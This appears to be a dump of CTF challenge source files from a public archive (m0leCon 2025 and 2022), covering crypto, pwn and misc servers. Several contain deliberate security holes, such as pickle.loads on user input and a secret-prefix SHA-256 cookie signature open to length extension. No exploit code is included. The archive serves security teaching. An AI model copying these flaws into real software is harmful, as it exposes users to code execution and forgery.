self.cc.Enable(PKESchemeFeature.KEYSWITCH)
self.cc.Enable(PKESchemeFeature.LEVELEDSHE)
self.keys = self.cc.KeyGen()
self.cc.EvalMultKeyGen(self.keys.secretKey)
self.challenge_bit = (
secrets.randbits(1) if challenge_bit is None else (challenge_bit & 1)
)
if DEBUG_GAME:
print(f"[DEBUG] challenge_bit = {self.challenge_bit}")
self.state: List[OracleRow] = []
self.scale_bits = scale_mod_size
self.bit_length = bit_length
# ------------------------------------------------------------------ #
# Helper utilities
def _encode(self, value: float) -> Plaintext:
return self.cc.MakeCKKSPackedPlaintext([value])
def _to_bits(self, value: float) -> Tuple[int, ...]:
return float_to_bits(value, self.bit_length, self.scale_bits)
# ------------------------------------------------------------------ #
# Oracles
def enc_oracle(self, m0: float, m1: float) -> Ciphertext:
pt0 = self._encode(m0)
pt1 = self._encode(m1)
chosen_pt = pt0 if self.challenge_bit == 0 else pt1
ciphertext = self.cc.Encrypt(self.keys.publicKey, chosen_pt)
row = OracleRow(m0=m0, m1=m1, ciphertext=ciphertext)
self.state.append(row)
if DEBUG_GAME:
self._debug_log_bits(len(self.state) - 1, m0, m1)
return ciphertext
def eval_oracle(
self, indices: Tuple[int, ...], circuit: HomomorphicCKKSFunction
) -> Ciphertext:
if len(indices) != circuit.num_inputs:
raise ValueError("indices count does not match circuit arity")
rows: List[OracleRow] = []
for index in indices:
if index < 0 or index >= len(self.state):
raise IndexError("state index out of range")
rows.append(self.state[index])
m0_inputs = tuple(row.m0 for row in rows)
m1_inputs = tuple(row.m1 for row in rows)
ct_inputs = tuple(row.ciphertext for row in rows)
new_m0 = circuit.plaintext(m0_inputs)
new_m1 = circuit.plaintext(m1_inputs)
new_ct = circuit.ciphertext(self.cc, ct_inputs)
new_row = OracleRow(m0=new_m0, m1=new_m1, ciphertext=new_ct)
self.state.append(new_row)
if DEBUG_GAME:
self._debug_log_bits(len(self.state) - 1, new_m0, new_m1)
return new_ct
def dec_oracle(self, index: int, bit_index: int) -> int | None:
"""
Decryption oracle: reveals only the selected bit of Dec(Enc(m_b)).
"""
if index < 0 or index >= len(self.state):
raise IndexError("state index out of range")
if bit_index < 0 or bit_index >= self.bit_length:
raise IndexError("bit index out of range")
row = self.state[index]
bits0 = self._to_bits(row.m0)
bits1 = self._to_bits(row.m1)
if bits0[bit_index] != bits1[bit_index]:
return None
plaintext = self.cc.Decrypt(row.ciphertext, self.keys.secretKey)
plaintext.SetLength(1)
value = plaintext.GetRealPackedValue()[0]
bits = float_to_bits(value, self.bit_length, self.scale_bits)
bits_str = "".join(str(bit) for bit in bits)
# print(f"[DEBUG] dec_oracle[{index}] value={value} bits={bits_str}")
return bits[bit_index]
# ------------------------------------------------------------------ #
# Debug helpers
def _debug_log_bits(self, index: int, m0: float, m1: float) -> None:
bits0 = "".join(str(bit) for bit in self._to_bits(m0))
bits1 = "".join(str(bit) for bit in self._to_bits(m1))
print(f"[DEBUG] state[{index}] m0={m0} bits={bits0}")
print(f"[DEBUG] state[{index}] m1={m1} bits={bits1}")
class SquareCircuit(HomomorphicCKKSFunction):
num_inputs = 1
def plaintext(self, values: Tuple[float, ...]) -> float:
value = values[0]
return value * value
def ciphertext(
self, cc: CryptoContext, ciphertexts: Tuple[Ciphertext, ...]
) -> Ciphertext:
ciphertext = ciphertexts[0]
return cc.EvalMult(ciphertext, ciphertext)
class AddCircuit(HomomorphicCKKSFunction):
num_inputs = 2
def plaintext(self, values: Tuple[float, ...]) -> float:
return values[0] + values[1]
def ciphertext(
self, cc: CryptoContext, ciphertexts: Tuple[Ciphertext, ...]
) -> Ciphertext:
return cc.EvalAdd(ciphertexts[0], ciphertexts[1])
class MultiplyCircuit(HomomorphicCKKSFunction):
num_inputs = 2
def plaintext(self, values: Tuple[float, ...]) -> float:
return values[0] * values[1]
def ciphertext(
self, cc: CryptoContext, ciphertexts: Tuple[Ciphertext, ...]
) -> Ciphertext:
return cc.EvalMult(ciphertexts[0], ciphertexts[1])
def _format_plaintext(plaintext: Plaintext, precision: int = 6) -> str:
return plaintext.GetFormattedValues(precision)
if __name__ == "__main__":
game = BitwiseCKKSIndCpaDGame(mult_depth=2, scale_mod_size=50, batch_size=1)
ct0 = game.enc_oracle(0.125, 1.75)
print(f"state[0] ciphertext: {ct0}")
ct1 = game.enc_oracle(-0.5, -0.5)
print(f"state[1] ciphertext: {ct1}")
square = SquareCircuit()
ct_square = game.eval_oracle((0,), square)
add = AddCircuit()
ct_add = game.eval_oracle((0, 1), add)
bit_idx = 10
bit_value = game.dec_oracle(1, bit_idx)
if bit_value is None:
print(f"bit {bit_idx} differs, decryption denied.")
else:
print(f"bit {bit_idx} matches, decrypted bit: {bit_value}")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2025/Quals/crypto/Talor_2.0/talor_2.py | ctfs/m0leCon/2025/Quals/crypto/Talor_2.0/talor_2.py | #!/usr/bin/env python3
from random import SystemRandom
import os
random = SystemRandom()
# Data from 2025 Teaser, just for reference :)
###########
# p = 241
# SB = [31, 32, 57, 9, 31, 144, 126, 114, 1, 38, 231, 220, 122, 169, 105, 29, 33, 81, 129, 4, 6, 64, 97, 134, 193, 160, 150, 145, 114, 133, 23, 193, 73, 162, 220, 111, 164, 88, 56, 102, 0, 107, 37, 227, 129, 17, 143, 134, 76, 152, 39, 233, 0, 147, 9, 220, 182, 113, 203, 11, 31, 125, 125, 194, 223, 192, 49, 71, 20, 227, 25, 38, 132, 17, 90, 109, 36, 157, 238, 127, 115, 92, 149, 216, 182, 15, 123, 28, 173, 114, 86, 159, 117, 60, 42, 191, 106, 182, 43, 108, 24, 232, 159, 25, 240, 78, 207, 158, 132, 156, 203, 71, 226, 235, 91, 92, 238, 110, 195, 78, 8, 54, 225, 108, 193, 65, 211, 212, 68, 77, 232, 100, 147, 171, 145, 96, 225, 63, 37, 144, 71, 38, 195, 19, 121, 197, 112, 20, 2, 186, 144, 217, 189, 130, 34, 180, 47, 121, 87, 154, 211, 188, 176, 65, 146, 26, 194, 213, 45, 171, 24, 37, 76, 42, 232, 13, 111, 80, 109, 178, 178, 31, 51, 100, 190, 121, 83, 53, 156, 62, 70, 23, 151, 227, 169, 160, 45, 174, 76, 25, 196, 62, 201, 6, 215, 139, 192, 83, 141, 230, 110, 39, 170, 189, 158, 153, 143, 110, 169, 206, 239, 56, 58, 174, 222, 29, 33, 198, 134, 181, 83, 72, 24, 61, 189, 177, 159, 31, 53, 5, 30]
# state_size = 32
# r = 16
# c = state_size - r
# ROUNDS = 140
###########
# New data for 2026 Teaser
###########
p = 59
SB = [58, 0, 7, 26, 4, 6, 38, 47, 39, 20, 55, 32, 16, 13, 29, 11, 24, 15, 49, 14, 34, 56, 27, 12, 17, 48, 52, 35, 3, 21, 36, 54, 22, 5, 9, 40, 45, 30, 1, 23, 43, 8, 42, 33, 46, 28, 44, 41, 25, 2, 37, 18, 10, 19, 51, 53, 31, 50, 57]
state_size = 48
r = 32
c = state_size - r
ROUNDS = 360
###########
rc = [0 for i in range(ROUNDS)]
start_state = [0]*state_size
flag = os.environ.get("FLAG", "ptm{REDACTED}")
def absorb(state):
state = state[:]
for i in range(ROUNDS):
tmp = SB[(state[0] + rc[i]) % p]
for j in range(1, len(state)):
state[j] += tmp
state[j] %= p
state = state[1:] + state[:1]
return state
def sponge(payload):
assert len(payload) % r == 0
state = start_state[:]
for i in range(0, len(payload), r):
state = [(state[j] + payload[i+j]) % p for j in range(r)] + state[r:]
state = absorb(state)
return state[:r-4]
def h(msg):
m = msg[:]
m.append(len(m))
if len(m) % r != 0:
m += [0] * (r - (len(m) % r))
return sponge(m)
for i in range(10):
rc = [random.randint(1,p-1) for i in range(ROUNDS)]
print(f"Iteration {i+1}")
print(f"{rc = }")
m1 = list(bytes.fromhex(input("M1: ")))
m2 = list(bytes.fromhex(input("M2: ")))
if m1 == m2 or h(m1) != h(m2) or any([x>=p for x in m1]) or any([x>=p for x in m2]) or len(m1)>=5*r or len(m2)>=5*r:
print("Nope!", m1, m2, h(m1), h(m2))
exit()
print(flag)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2025/Beginner/misc/pickle_soup/server.py | ctfs/m0leCon/2025/Beginner/misc/pickle_soup/server.py | """Pickle soup server."""
from base64 import b64decode
import binascii
from collections import Counter
import pickle
from pickle import UnpicklingError
BANNER: str = '\n'.join((
' ( ',
' ) ) ',
' ._ o _ | | _ _.(--"("""--.._ ',
' |_) | (_ |< | (/_ /, _..-----).._,\' ',
' | _ _ ._ | `\'\'\'-----\'\'\'` |',
' _> (_) |_| |_) \\ .-. / ',
' | \'. ._. .\' ',
' \'\'--.....--\'\' ',
))
def get_super_secret_pickle_soup_recipe() -> list[str]:
"""The one and only recipe for the perfect pickle soup."""
return open('recipe.txt', 'r').read().splitlines()
def make_soup() -> None:
"""Makes a delicious pickle soup using ingredients provided by the user."""
ingredients: list[str] = []
while data := input():
if data == 'done':
break
try:
data = b64decode(data)
except binascii.Error:
print('base64 is the only language i understand!')
return
if len(data) > 64:
print('i don\'t remember an ingredient this long...')
return
try:
ingredient = pickle.loads(data)
except EOFError:
return
except UnpicklingError:
print('invalid pickle!')
return
if ingredient in get_super_secret_pickle_soup_recipe():
print(f'{ingredient!r} is part of the recipe.')
else:
print(f'{ingredient!r} is not part of the recipe.')
ingredients.append(ingredient)
if not ingredients:
return
if Counter(ingredients) == Counter(get_super_secret_pickle_soup_recipe()):
print('Congratulations! You made an excellent pickle soup!')
else:
print('You did not follow the original recipe. Try again.')
def main() -> None:
"""Main function."""
print(BANNER)
print()
print('Send me pickles!')
make_soup()
if __name__ == '__main__':
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2025/Beginner/pwn/Hypwn/app.py | ctfs/m0leCon/2025/Beginner/pwn/Hypwn/app.py | from flask import Flask, session, redirect, url_for, render_template, request, jsonify, abort
import uuid
import subprocess
import random
import os
app = Flask(__name__)
app.secret_key = os.environ.get("SECRET_KEY", os.urandom(24))
app.template_folder = "templates"
app.static_url_path = "/static"
app.static_folder = "assets"
# Predefined Pokemon movesets
MULE_SET = {
"Snorlax": ["Protect", "Recover", "Headbutt", "GigaImpact"],
"Lucario": ["CalmMind", "AuraSphere", "GigaImpact", "Protect"],
}
@app.route("/")
def index():
session.clear()
return render_template("menu.html")
@app.route("/play", methods=["POST"])
def play():
trainer_name = request.form.get("trainerName")
selected_pokemon = request.form.get("selectedPokemon")
if not selected_pokemon or selected_pokemon not in MULE_SET:
return abort(400, "Invalid Pokemon selection.")
opponent_pokemon = random.choice(["Arceus", "Mewtwo"])
session.clear()
session.update({
"id": str(uuid.uuid4()),
"allyName": selected_pokemon,
"opponentName": opponent_pokemon,
"allyHP": 100,
"opponentHP": 100,
"allyBurnt": 0,
"allyCanMove": 1,
"allyAttackMultiplier": 1,
"allyHasProtected": 0,
"opponentAttackMultiplier": 1
})
return render_template(
"pokemon.html",
selectedPokemon=selected_pokemon,
opponentPokemon=opponent_pokemon,
moveset=MULE_SET[selected_pokemon]
)
@app.route("/battle", methods=["GET"])
def battle():
try:
selected_move = request.args.get("selectedMove", "").strip()
ally_pokemon = session.get("allyName")
if not ally_pokemon or selected_move not in MULE_SET.get(ally_pokemon, []):
return abort(400, "Invalid move or Pokemon.")
opponent_pokemon = session.get("opponentName")
if not opponent_pokemon:
return abort(400, "Session data missing.")
# Prepare subprocess arguments
battle_args = [
"./battle",
ally_pokemon,
str(session.get("allyHP")),
str(session.get("allyBurnt")),
str(session.get("allyCanMove")),
str(session.get("allyAttackMultiplier")),
str(session.get("allyHasProtected")),
selected_move,
opponent_pokemon,
str(session.get("opponentHP")),
str(session.get("opponentAttackMultiplier"))
]
result = subprocess.run(battle_args, capture_output=True, text=True, check=True).stdout.splitlines()
for line in result:
if line.startswith(f"{ally_pokemon}:"):
values = list(map(int, line.split(":")[1].split(", ")))
session.update({
"allyHP": values[0],
"allyBurnt": values[1],
"allyCanMove": values[2],
"allyAttackMultiplier": values[3],
"allyHasProtected": values[4]
})
elif line.startswith(f"{opponent_pokemon}:"):
values = list(map(int, line.split(":")[1].split(", ")))
session["opponentHP"] = values[0]
session["opponentAttackMultiplier"] = values[1]
output = {
"message": result[:-3], # Exclude updated HP values
"allyHP": session["allyHP"],
"opponentHP": session["opponentHP"]
}
if "GAME OVER" in result:
session.clear()
return jsonify(output)
except subprocess.CalledProcessError:
return abort(500, "Battle simulation failed.")
except Exception:
return abort(400, "Invalid request data.")
if __name__ == "__main__":
app.run(debug=False, port=2222, threaded=True)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2025/Beginner/crypto/SmallAuth/server.py | ctfs/m0leCon/2025/Beginner/crypto/SmallAuth/server.py | from secret import flag, password
import signal
from Crypto.Util.number import (
bytes_to_long,
long_to_bytes,
getRandomRange,
)
from hashlib import sha256
import os
p = 5270716116965698502689689671130781219142402682027195438035167686031865721400130496197382604002325978977917823871038888373085118354500422489134429970793096193438377786459821943518301475690713718745453633483219759953295608491564410082912515903134742148257215875373630412689071144760281744294536079770426517968527527493218935968663682019557492826204481612047410320146277333682801905360248457200458458982939490478875010628228329816347137904546340745621643293109290190631986349878770000332829974864263568375989597228583046155053640478805958492876860588535257030218304135983005840752161675722091031537527270835889607480661582626985375282908187505873350960702103509549729997875801557977556414403796543012974965425751833424162010931383924392626875437842811285456196644742198291857617009931030974156758885265756942730260677252867252555430773014258836269996233420470473918801854039549216620237517053340745984578639983387808534554731327
assert len(password) > 64
def timeout_handler(_1, _2):
raise TimeoutError
class AuthProtocol:
def __init__(self, password: bytes):
super().__init__()
self.p = p
self.g = pow(bytes_to_long(password), 2, self.p)
def gen_pub_key(self):
self.a = getRandomRange(2, self.p)
self.A = pow(self.g, self.a, self.p)
return self.A
def gen_shared_key(self, B):
assert 1 < B < self.p
k = pow(B, self.a, self.p)
self.s = sha256(long_to_bytes(k)).digest()
return self.s
def confirm_key(self):
signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(5)
try:
challenge = input("Give me the challenge (hex): ").strip()
challenge = bytes.fromhex(challenge.strip())
(opad, ipad, challenge) = challenge[:16], challenge[16:32], challenge[32:]
if challenge == sha256(opad + sha256(ipad + self.s).digest()).digest():
pad = bytes([x^y for x, y in zip(ipad, opad)])
print("Response:", sha256(pad + self.s).hexdigest())
else:
print("Mmm, cannot understand this challenge.")
except TimeoutError:
ipad = os.urandom(16)
opad = os.urandom(16)
print("\nI got bored waiting for your response.")
print("I will start then.")
print(
f"Here is your challenge: {opad.hex()}{ipad.hex()}{sha256(opad + sha256(ipad + self.s).digest()).hexdigest()}"
)
response = input("Response? (hex): ")
try:
response = bytes.fromhex(response.strip())
pad = bytes([x^y for x, y in zip(ipad, opad)])
if response == sha256(pad + self.s).digest():
return True
else:
print("Nope sorry.")
except Exception as e:
print("Ops, error")
except Exception as e:
print("Ops, error")
return False
def main():
print(
"Welcome! Please authenticate to get the flag. You should know the password, right?"
)
auth = AuthProtocol(password)
print("Here is my public key:", auth.gen_pub_key())
B = int(input("Give me your public key: "))
auth.gen_shared_key(B)
if auth.confirm_key():
print("Welcome!", flag)
if __name__ == "__main__":
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2025/Beginner/crypto/XORed_picture/chall.py | ctfs/m0leCon/2025/Beginner/crypto/XORed_picture/chall.py | from pwn import xor
from os import urandom
key = urandom(16)
fin = open("flag.png", "rb")
fout = open("flag_enc.png", "wb")
pt = fin.read()
ct = xor(pt, key)
fout.write(ct)
fin.close()
fout.close() | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2025/Beginner/crypto/datadestroyer9000/chall.py | ctfs/m0leCon/2025/Beginner/crypto/datadestroyer9000/chall.py | import os
from random import shuffle
FLAG = os.getenv("SECRET", "This is some veeeeeeeeeeeeeeeeeeeeeeeeery looooooooooooooooooong sample text :D ptm{fakeflag}").encode()
CHUNK_SIZE = 128
BLOCK_SIZE = 32
def gen_otp():
#generate otp for a chunk of data, 128 bytes
key = os.urandom(CHUNK_SIZE)
return key
def gen_permutations():
#generate permutation for every block of 32 bytes in a chunk
permutations = []
for _ in range(CHUNK_SIZE//BLOCK_SIZE):
perm = list(range(BLOCK_SIZE))
shuffle(perm)
permutations.append(perm)
return permutations
# generating otp and permutations
otp = gen_otp()
permutations = gen_permutations()
def xor(x: bytes, y: bytes):
#xor 2 messages with each other
return bytes(a ^ b for a, b in zip(x, y))
def scramble(block: bytes, perm: list):
#scramble 32 bytes of a message given the permutation
result = []
for i in range(BLOCK_SIZE):
result.append(block[perm[i]])
return bytes(result)
def pad(msg: bytes):
#pad message so that len is multiple of 128
if len(msg) % CHUNK_SIZE != 0:
msg += b'\x00'*(CHUNK_SIZE - (len(msg) % CHUNK_SIZE))
return msg
def scramble_chunk(chunk: bytes):
#apply otp and then scramble bytes in message
xored = xor(chunk, otp)
result = b''
for i in range(CHUNK_SIZE//BLOCK_SIZE):
current_perm = permutations[i]
current_block = xored[i*BLOCK_SIZE:(i+1)*BLOCK_SIZE]
result += scramble(current_block, current_perm)
return result
def destroy_data(data: bytes):
#put everything together and destroy every chunk of data
data = pad(data)
result = b''
for i in range(len(data)//CHUNK_SIZE):
curr_chunk = data[i*CHUNK_SIZE:(i+1)*CHUNK_SIZE]
result += scramble_chunk(curr_chunk)
return result.hex()
def main():
print("This program allows you to make your data completely unrecognizable!")
print("I bet you will not be able to recover my secret hehe")
print(destroy_data(FLAG))
print()
print("You can now try this service however you want!")
while True:
data = input("> ")
if len(data) == 0:
break
print(destroy_data(bytes.fromhex(data)))
print("Goodbye!")
if __name__ == "__main__":
main() | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2025/Beginner/crypto/Small_RSA/chall.py | ctfs/m0leCon/2025/Beginner/crypto/Small_RSA/chall.py | from Crypto.Util.number import getStrongPrime
from os import getenv
BITS = 512
def gen_key():
p = getStrongPrime(BITS)
q = getStrongPrime(BITS)
n = p*q
e = 65537
return (p, q, e)
def safe_encrypt(key, msg):
p, q, e = key
n = p*q
pt = int(msg, 16)
if pt > p:
return b'Error: message to encrypt is too big'
elif pt < 0:
return b'Error: message is negative'
ct = pow(pt, e, n)
return hex(ct)[2:]
key = gen_key()
p, q, e = key
FLAG = getenv('FLAG', 'ptm{fakeflag}').encode()
print('Welcome to my super safe RSA encryption service!')
print('Big primes and small messages ensure 100% secrecy!')
if __name__ == '__main__':
while True:
print('1) Encrypt a message')
print('2) Get encrypted flag')
choice = int(input('> '))
if choice == 1:
msg = input('Enter your message in hex: ')
ct = safe_encrypt(key, msg)
print(ct)
elif choice == 2:
ct = safe_encrypt(key, FLAG.hex())
print(ct)
else:
print('Goodbye!')
break
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2022/Quals/crypto/moo/server.py | ctfs/m0leCon/2022/Quals/crypto/moo/server.py | from Crypto.Util.number import bytes_to_long
import random
from secret import flag
from functools import reduce
from random import randint
from gmpy2 import is_prime, next_prime, gcd, lcm
def gen_prime():
while True:
cnt = 0
p = 1
fs = []
while cnt<4:
e, x = randint(1,3), next_prime(randint(1, 2**128))
p *= x**e
cnt += e
fs.append((x,e))
if is_prime(2*p+1):
fs.append((2,1))
return 2*p+1, fs
def f1(a, p, fs):
qs = [1]
for t, e in fs:
prev = qs[:]
pn = 1
for i in range(e):
pn *= t
qs.extend(a*pn for a in prev)
qs.sort()
for q in qs:
if pow(a, q, p) == 1:
return q
def f2(a, m, fs):
assert gcd(a, m[0]*m[1]) == 1
mofs = (f1(a, r, s) for r, s in zip(m, fs))
return reduce(lcm, mofs, 1)
print("Generating data...")
p, pfs = gen_prime()
q, qfs = gen_prime()
assert p != q
n = int(p*q)
e = 65537
c = pow(bytes_to_long(flag), e, n)
print(f'{n = }')
print(f'{c = }')
print(f'{e = }')
for _ in range(10):
g = int(input("Choose a value: "))
assert g%n > 0
M = int(f2(g, (p, q), (pfs, qfs)))
print(f'{M = }')
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2022/Quals/crypto/classic/chall.py | ctfs/m0leCon/2022/Quals/crypto/classic/chall.py | from secret import flag
import random
def xor(s1, s2):
res = ""
for a, b in zip(s1, s2):
res += str(int(a)^int(b))
return res
class Classic(object):
def __init__(self, rotors):
self.rotors = rotors
random.shuffle(self.rotors)
self.perms = self.gen_permutations()
def gen_permutations(self):
res = {}
start = [0,1,2,3]
for i in range(16):
tmp = start[:]
x = bin(i)[2:].rjust(4,'0')
for j in range(4):
if x[j] == '0':
tmp[(-j)%4], tmp[(-1-j)%4] = tmp[(-1-j)%4], tmp[(-j)%4]
res[x] = tmp
return res
def update_rotors(self):
for i in range(len(self.rotors)):
self.rotors[i] = self.rotors[i][1:]+[self.rotors[i][0]]
def encrypt(self, plain):
plain = plain.hex()
k = list(range(16))
v = [bin(i)[2:].rjust(4,'0') for i in range(16)]
alph = '0123456789abcdef'
ciphertext = ""
for c in plain:
xor_part = ''.join([str(rot[0]) for rot in self.rotors[:4]])
perm_part = ''.join([str(rot[0]) for rot in self.rotors[4:]])
enc = v[int(c,16)]
xored = xor(enc, xor_part)
ct = ''.join([str(xored[self.perms[perm_part][l]]) for l in range(4)])
ciphertext += alph[v.index(ct)]
self.update_rotors()
return ciphertext
base_text = b"m0leCon 2022 is the fourth edition of the computer security conference organized by the student team pwnthem0le in collaboration with Politecnico di Torino. The aim is to bring together hackers, security experts, and IT specialists from different backgrounds and skill levels. The conference will feature a variety of talks and presentations, mostly focused on multiple aspects of offensive security. It will be entirely held in english."
to_encrypt = base_text+flag
rot = []
for l in [47, 53, 59, 61, 64, 65, 67, 69]:
rot.append([random.randint(0,1) for _ in range(l)])
cipher = Classic(rot)
print(cipher.encrypt(to_encrypt))
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2022/Quals/crypto/magic_generator/server.py | ctfs/m0leCon/2022/Quals/crypto/magic_generator/server.py | import random
import os
assert "FLAG" in os.environ
flag = os.environ["FLAG"]
def xor(arr):
res = 0
for a in arr:
res ^= a
return res
class MyGenerator:
def __init__(self, nbits, l):
self.l = l
self.t = [0, 1, 2, 3, 9, 14]
self.u = [random.randint(0, 1) for _ in range(nbits)]
self.y = random.randrange(0, 2**nbits)
self.z = 2*random.randrange(0, 2**(nbits-1))+1
self.w = [(self.y * self.z**(nbits-i)) % (2**nbits) for i in range(nbits)]
self.n = nbits
def step(self):
res = sum(uu*ww for uu, ww in zip(self.u, self.w)) % 2**(self.n)
bit = xor([self.u[i] for i in self.t])
self.u = self.u[1:]+[bit]
return res >> self.l
def banner():
print("Welcome to my newest magic trick!")
print("I will give you some numbers, and you will have to guess the next ones")
print("Let's begin!")
print()
def main():
banner()
nbits = 128
l = 40
gen = MyGenerator(nbits, l)
for _ in range(500):
print(gen.step())
print("Now it's your turn! Give me some numbers:")
for _ in range(10):
val = int(input())
assert val == gen.step()
print("Well done, you are a magician as well!")
print("Here's something for you:", flag)
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2022/Quals/crypto/fancynotes/app/db.py | ctfs/m0leCon/2022/Quals/crypto/fancynotes/app/db.py | from flask_sqlalchemy import SQLAlchemy
db = SQLAlchemy()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2022/Quals/crypto/fancynotes/app/models.py | ctfs/m0leCon/2022/Quals/crypto/fancynotes/app/models.py | from .db import db
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(80), unique=True, nullable=False)
password = db.Column(db.String(256), nullable=False)
locale = db.Column(db.String(3), nullable=False)
def __repr__(self):
return '<User %r>' % self.username
class Note(db.Model):
id = db.Column(db.Integer, primary_key=True)
title = db.Column(db.String(80), nullable=False)
body = db.Column(db.Text, nullable=False)
picture_id = db.Column(db.String(255), nullable=True)
user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
user = db.relationship('User', backref=db.backref('notes', lazy=True))
def __repr__(self):
return '<Post %r>' % self.title
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2022/Quals/crypto/fancynotes/app/validators.py | ctfs/m0leCon/2022/Quals/crypto/fancynotes/app/validators.py | import re
def validate_registration(form_data):
if not form_data['username'] or not form_data['password']:
return 'missing parameter'
if not re.match(r'^[a-zA-Z0-9-_$]+$', form_data['username']):
return 'do you have special characters in your name??'
if len(form_data['username']) > 30:
return 'username too long'
if len(form_data['username']) < 4:
return 'username too short'
if len(form_data['password']) > 30:
return 'password too long'
if len(form_data['password']) < 4:
return 'password too short'
return None
def validate_login(form_data):
if not form_data['username'] or not form_data['password']:
return 'missing parameter'
def validate_note(form_data):
if not form_data['title'] or not form_data['body']:
return 'missing parameter'
if len(form_data['title']) > 80:
return 'title too long'
if len(form_data['title']) < 1:
return 'title too short'
if len(form_data['body']) > 200:
return 'body too long'
if len(form_data['body']) < 1:
return 'body too short'
return None
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2022/Quals/crypto/fancynotes/app/utils.py | ctfs/m0leCon/2022/Quals/crypto/fancynotes/app/utils.py | from flask import request
import uuid
import base64
import hashlib
import string
import os
import random
from .models import *
SECRET_KEY = os.environ.get("SECRET_KEY")
FLAG = os.environ.get("FLAG")
def random_string(n):
return ''.join(random.choices(string.printable, k=n))
def init_db(db):
username = "admin"
password = random_string(20)
if User.query.filter_by(username=username).count() > 0:
return
user = User(username=username, password=hashlib.sha256(
password.encode()).hexdigest(), locale='en'
)
note = Note(title="flag", body=FLAG)
user.notes.append(note)
db.session.add(user)
db.session.commit()
def get_user():
if not 'user' in request.cookies:
return None
cookie = base64.b64decode(request.cookies.get(
'user')).decode('raw_unicode_escape')
assert len(cookie.split('|')) == 2
user_string = cookie.split('|')[0]
signature_string = cookie.split('|')[1]
if hashlib.sha256((SECRET_KEY + user_string).encode('raw_unicode_escape')).hexdigest() != signature_string:
print("nope")
return None
user = serialize_user(user_string)
return user
def generate_cookie(user):
user_string = deserialize_user(user)
signature_string = hashlib.sha256(
(SECRET_KEY + user_string).encode('raw_unicode_escape')).hexdigest()
cookie = base64.b64encode(
(f'{user_string}|{signature_string}').encode('raw_unicode_escape')).decode()
return cookie
def deserialize_user(user):
values = []
for k in ["username", "locale"]:
values.append(f'{k}={user.__dict__[k]}')
return ','.join(values)
def serialize_user(user_string):
user = dict()
for kv in user_string.split(','):
k = kv.split('=')[0]
v = kv.split('=')[1]
user[k] = v
return user
def save_picture(picture):
if picture.filename == '':
return None
if '.' not in picture.filename and picture.filename.rsplit('.', 1)[1].lower() not in ['png', 'jpg', 'jpeg']:
return None
picture_id = uuid.uuid4().hex
picture_path = os.path.join('/tmp/uploads', picture_id)
picture.save(picture_path)
return picture_id
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2022/Quals/crypto/fancynotes/app/__init__.py | ctfs/m0leCon/2022/Quals/crypto/fancynotes/app/__init__.py | import os
from time import sleep
from flask import Flask
from .db import db
from .routes import init_routes
from .models import *
from .utils import init_db
def create_app(test_config=None):
